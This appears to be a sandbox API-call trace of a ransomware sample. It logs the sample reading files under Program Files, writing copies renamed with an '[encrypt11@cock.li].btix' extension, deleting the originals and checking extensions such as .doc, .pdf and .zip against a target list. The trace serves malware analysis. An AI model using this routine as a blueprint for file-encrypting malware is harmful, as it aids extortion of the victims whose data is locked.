CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0134.936] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=528) returned 1 [0134.936] CloseHandle (hObject=0x4a8) returned 1 [0134.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0134.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.937] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0134.937] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.937] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.937] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0134.938] GetLastError () returned 0x0 [0134.938] ReadFile (in: hFile=0x4a8, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x210, lpOverlapped=0x0) returned 1 [0134.938] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x220, lpOverlapped=0x0) returned 1 [0134.939] ReadFile (in: hFile=0x4a8, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0134.939] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0134.939] SetEndOfFile (hFile=0x4b4) returned 1 [0134.939] CloseHandle (hObject=0x4b4) returned 1 [0134.939] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0134.939] SetEndOfFile (hFile=0x4a8) returned 1 [0134.973] CloseHandle (hObject=0x4a8) returned 1 [0134.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0134.974] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0134.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.974] lstrlenW (lpString=".doc") returned 4 [0134.974] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0134.974] lstrlenW (lpString=".docx") returned 5 [0134.974] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0134.974] lstrlenW (lpString=".pdf") returned 4 [0134.974] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0134.974] lstrlenW (lpString=".xls") returned 4 [0134.974] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0134.974] lstrlenW (lpString=".xlsx") returned 5 [0134.974] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0134.974] lstrlenW (lpString=".ppt") returned 4 [0134.974] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0134.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString=".zip") returned 4 [0134.975] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".rar") returned 4 [0134.975] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".bz2") returned 4 [0134.975] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".7z") returned 3 [0134.975] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0134.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString=".dbf") returned 4 [0134.975] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString=".1cd") returned 4 [0134.975] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString=".jpg") returned 4 [0134.975] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString=".doc") returned 4 [0134.975] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".docx") returned 5 [0134.975] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0134.975] lstrlenW (lpString=".pdf") returned 4 [0134.975] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".xls") returned 4 [0134.975] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".xlsx") returned 5 [0134.975] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0134.975] lstrlenW (lpString=".ppt") returned 4 [0134.975] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.975] lstrlenW (lpString=".zip") returned 4 [0134.975] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0134.975] lstrlenW (lpString=".rar") returned 4 [0134.976] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0134.976] lstrlenW (lpString=".bz2") returned 4 [0134.976] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0134.976] lstrlenW (lpString=".7z") returned 3 [0134.976] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0134.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.976] lstrlenW (lpString=".dbf") returned 4 [0134.976] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0134.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.976] lstrlenW (lpString=".1cd") returned 4 [0134.976] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0134.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0134.976] lstrlenW (lpString=".jpg") returned 4 [0134.976] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0134.976] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0134.976] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0134.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.235] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=21184) returned 1 [0135.235] CloseHandle (hObject=0x544) returned 1 [0135.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0135.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.237] lstrlenW (lpString=".doc") returned 4 [0135.237] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.237] lstrlenW (lpString=".docx") returned 5 [0135.237] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.237] lstrlenW (lpString=".pdf") returned 4 [0135.237] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.237] lstrlenW (lpString=".xls") returned 4 [0135.237] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.237] lstrlenW (lpString=".xlsx") returned 5 [0135.237] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.238] lstrlenW (lpString=".ppt") returned 4 [0135.238] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString=".zip") returned 4 [0135.238] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString=".rar") returned 4 [0135.238] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString=".bz2") returned 4 [0135.238] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.238] lstrlenW (lpString=".7z") returned 3 [0135.238] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString=".dbf") returned 4 [0135.238] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString=".1cd") returned 4 [0135.238] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString=".jpg") returned 4 [0135.238] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString=".doc") returned 4 [0135.238] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString=".docx") returned 5 [0135.238] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.238] lstrlenW (lpString=".pdf") returned 4 [0135.238] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString=".xls") returned 4 [0135.238] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString=".xlsx") returned 5 [0135.238] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.238] lstrlenW (lpString=".ppt") returned 4 [0135.238] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.238] lstrlenW (lpString=".zip") returned 4 [0135.239] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.239] lstrlenW (lpString=".rar") returned 4 [0135.239] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.239] lstrlenW (lpString=".bz2") returned 4 [0135.239] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.239] lstrlenW (lpString=".7z") returned 3 [0135.239] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.239] lstrlenW (lpString=".dbf") returned 4 [0135.239] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.239] lstrlenW (lpString=".1cd") returned 4 [0135.239] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85 [0135.239] lstrlenW (lpString=".jpg") returned 4 [0135.239] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.239] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0135.239] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0135.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.240] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1 [0135.240] CloseHandle (hObject=0x544) returned 1 [0135.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0135.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString=".doc") returned 4 [0135.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString=".docx") returned 5 [0135.241] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0135.241] lstrlenW (lpString=".pdf") returned 4 [0135.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString=".xls") returned 4 [0135.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString=".xlsx") returned 5 [0135.241] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0135.241] lstrlenW (lpString=".ppt") returned 4 [0135.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString=".zip") returned 4 [0135.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString=".rar") returned 4 [0135.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString=".bz2") returned 4 [0135.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.241] lstrlenW (lpString=".7z") returned 3 [0135.241] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString=".dbf") returned 4 [0135.241] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString=".1cd") returned 4 [0135.241] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString=".jpg") returned 4 [0135.241] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.241] lstrlenW (lpString=".doc") returned 4 [0135.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.242] lstrlenW (lpString=".docx") returned 5 [0135.242] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0135.242] lstrlenW (lpString=".pdf") returned 4 [0135.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.242] lstrlenW (lpString=".xls") returned 4 [0135.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.242] lstrlenW (lpString=".xlsx") returned 5 [0135.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0135.242] lstrlenW (lpString=".ppt") returned 4 [0135.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.242] lstrlenW (lpString=".zip") returned 4 [0135.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.242] lstrlenW (lpString=".rar") returned 4 [0135.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.242] lstrlenW (lpString=".bz2") returned 4 [0135.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.242] lstrlenW (lpString=".7z") returned 3 [0135.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.242] lstrlenW (lpString=".dbf") returned 4 [0135.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.242] lstrlenW (lpString=".1cd") returned 4 [0135.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87 [0135.242] lstrlenW (lpString=".jpg") returned 4 [0135.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.242] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0135.242] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0135.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.243] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=19136) returned 1 [0135.243] CloseHandle (hObject=0x544) returned 1 [0135.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0135.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0135.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.244] lstrlenW (lpString=".doc") returned 4 [0135.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.244] lstrlenW (lpString=".docx") returned 5 [0135.244] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.244] lstrlenW (lpString=".pdf") returned 4 [0135.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.244] lstrlenW (lpString=".xls") returned 4 [0135.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.244] lstrlenW (lpString=".xlsx") returned 5 [0135.244] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.244] lstrlenW (lpString=".ppt") returned 4 [0135.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.244] lstrlenW (lpString=".zip") returned 4 [0135.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.244] lstrlenW (lpString=".rar") returned 4 [0135.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.244] lstrlenW (lpString=".bz2") returned 4 [0135.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.244] lstrlenW (lpString=".7z") returned 3 [0135.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.244] lstrlenW (lpString=".dbf") returned 4 [0135.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.244] lstrlenW (lpString=".1cd") returned 4 [0135.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString=".jpg") returned 4 [0135.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString=".doc") returned 4 [0135.245] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString=".docx") returned 5 [0135.245] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0135.245] lstrlenW (lpString=".pdf") returned 4 [0135.245] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString=".xls") returned 4 [0135.245] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString=".xlsx") returned 5 [0135.245] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0135.245] lstrlenW (lpString=".ppt") returned 4 [0135.245] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString=".zip") returned 4 [0135.245] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString=".rar") returned 4 [0135.245] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0135.245] lstrlenW (lpString=".bz2") returned 4 [0135.245] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0135.245] lstrlenW (lpString=".7z") returned 3 [0135.245] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString=".dbf") returned 4 [0135.245] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString=".1cd") returned 4 [0135.245] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0135.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78 [0135.245] lstrlenW (lpString=".jpg") returned 4 [0135.246] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0135.246] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0135.246] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0135.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0135.246] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18624) returned 1 [0135.247] CloseHandle (hObject=0x544) returned 